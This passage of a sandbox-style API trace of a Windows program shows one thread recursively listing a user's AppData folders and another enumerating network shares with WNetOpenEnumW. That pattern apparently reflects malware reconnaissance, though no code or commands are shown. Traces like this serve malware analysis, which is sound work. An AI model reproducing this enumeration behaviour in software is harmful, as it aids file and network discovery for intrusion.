Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0122.729] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0122.729] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0122.730] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0122.730] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.730] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.730] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.730] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.730] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0122.730] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.730] PathFindFileNameW (pszPath="") returned="" [0122.730] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0122.730] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3019770 | out: hHeap=0x5e0000) returned 1 [0122.730] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.730] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0122.730] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0122.730] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef800 | out: hHeap=0x5e0000) returned 1 [0122.730] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3019ce0 | out: hHeap=0x5e0000) returned 1 [0122.730] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0122.730] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0122.731] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\") returned="prt\\" [0122.731] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0122.731] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0122.731] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0122.731] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0122.731] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.731] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.731] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.731] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.731] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0122.731] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.731] PathFindFileNameW (pszPath="") returned="" [0122.731] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0122.731] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3019770 | out: hHeap=0x5e0000) returned 1 [0122.731] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.731] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0122.731] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0122.732] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef800 | out: hHeap=0x5e0000) returned 1 [0122.732] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3019ce0 | out: hHeap=0x5e0000) returned 1 [0122.732] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0122.732] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0122.732] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\") returned="spn\\" [0122.732] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0122.732] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0122.732] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0122.732] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0122.732] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.732] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.732] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.732] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.732] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0122.732] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.732] PathFindFileNameW (pszPath="") returned="" [0122.732] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0122.732] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3019770 | out: hHeap=0x5e0000) returned 1 [0122.733] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.733] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0122.733] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0122.733] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef800 | out: hHeap=0x5e0000) returned 1 [0122.733] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3019ce0 | out: hHeap=0x5e0000) returned 1 [0122.733] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0122.733] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0122.733] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\") returned="swd\\" [0122.733] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0122.733] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0122.733] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0122.733] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0122.733] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.733] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.733] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.733] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.733] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0122.733] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.733] PathFindFileNameW (pszPath="") returned="" [0122.733] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0122.734] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3019770 | out: hHeap=0x5e0000) returned 1 [0122.734] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.734] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0122.734] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0122.734] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef800 | out: hHeap=0x5e0000) returned 1 [0122.734] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3019ce0 | out: hHeap=0x5e0000) returned 1 [0122.734] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0122.734] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0122.735] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si\\") returned="si\\" [0122.735] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\") returned="tmp\\" [0122.735] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\") returned="Deployment\\" [0122.735] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0122.735] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0122.735] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.735] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.735] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.735] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.735] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0122.735] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.735] PathFindFileNameW (pszPath="") returned="" [0122.735] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfeca8830, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0122.735] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30231e8 | out: hHeap=0x5e0000) returned 1 [0122.735] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfeca8830, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.735] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfeca8830, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0122.735] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0122.736] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0122.736] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3023098 | out: hHeap=0x5e0000) returned 1 [0122.736] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0122.736] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3019118 | out: hHeap=0x5e0000) returned 1 [0122.736] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3019200 | out: hHeap=0x5e0000) returned 1 [0122.736] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3019bf8 | out: hHeap=0x5e0000) returned 1 [0122.736] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3019b10 | out: hHeap=0x5e0000) returned 1 [0122.736] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3019a28 | out: hHeap=0x5e0000) returned 1 [0122.736] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30193d0 | out: hHeap=0x5e0000) returned 1 [0122.736] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3019688 | out: hHeap=0x5e0000) returned 1 [0122.736] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3095c20 | out: hHeap=0x5e0000) returned 1 [0122.736] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3095d08 | out: hHeap=0x5e0000) returned 1 [0122.736] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3095df0 | out: hHeap=0x5e0000) returned 1 [0122.736] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3095ed8 | out: hHeap=0x5e0000) returned 1 [0122.736] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3095fc0 | out: hHeap=0x5e0000) returned 1 [0122.736] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30960a8 | out: hHeap=0x5e0000) returned 1 [0122.736] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3023140 | out: hHeap=0x5e0000) returned 1 [0122.736] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0122.736] SendMessageW (hWnd=0x30154, Msg=0x8003, wParam=0x0, lParam=0x0) returned 0x0 [0122.737] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fc8f80 | out: hHeap=0x5e0000) returned 1 [0122.737] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fe9270 | out: hHeap=0x5e0000) returned 1 Thread: id = 277 os_tid = 0x318 [0118.013] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x398fee0 | out: lphEnum=0x398fee0*=0x3008f20) returned 0x0 [0118.367] WNetEnumResourceW (in: hEnum=0x3008f20, lpcCount=0x398fedc, lpBuffer=0x3088370, lpBufferSize=0x398fed8 | out: lpcCount=0x398fedc, lpBuffer=0x3088370, lpBufferSize=0x398fed8) returned 0x0 [0118.367] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef578 [0118.367] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef5c0 [0118.367] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30181a0 [0118.367] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef608 [0118.367] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef650 [0118.367] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x3088370, lphEnum=0x398fe28 | out: lphEnum=0x398fe28*=0x684f90) returned 0x0 [0118.371] WNetEnumResourceW (in: hEnum=0x684f90, lpcCount=0x398fe24, lpBuffer=0x308c378, lpBufferSize=0x398fe20 | out: lpcCount=0x398fe24, lpBuffer=0x308c378, lpBufferSize=0x398fe20) returned 0x103 [0118.371] WNetCloseEnum (hEnum=0x684f90) returned 0x0 [0118.371] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef5c0 | out: hHeap=0x5e0000) returned 1 [0118.371] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef578 | out: hHeap=0x5e0000) returned 1 [0118.371] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef578 [0118.371] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef5c0 [0118.371] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xe0) returned 0x3019030 [0118.371] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2feef48 [0118.371] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef6e0 [0118.371] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef650 | out: hHeap=0x5e0000) returned 1 [0118.372] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef608 | out: hHeap=0x5e0000) returned 1 [0118.372] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30181a0 | out: hHeap=0x5e0000) returned 1 [0118.372] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef608 [0118.372] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef650 [0118.372] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x3088390, lphEnum=0x398fe28 | out: lphEnum=0x398fe28*=0x398fe44) returned 0x4b8 [0130.890] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef5c0 | out: hHeap=0x5e0000) returned 1 [0130.890] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef578 | out: hHeap=0x5e0000) returned 1 [0130.890] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0130.890] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0130.890] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x150) returned 0x2fc6690 [0130.890] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef578 [0130.890] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef5c0 [0130.890] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef2f0 [0130.890] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0130.890] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef6e0 | out: hHeap=0x5e0000) returned 1 [0130.890] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2feef48 | out: hHeap=0x5e0000) returned 1 [0130.890] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef650 | out: hHeap=0x5e0000) returned 1 [0130.891] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef608 | out: hHeap=0x5e0000) returned 1 [0130.891] HeapFree (in: 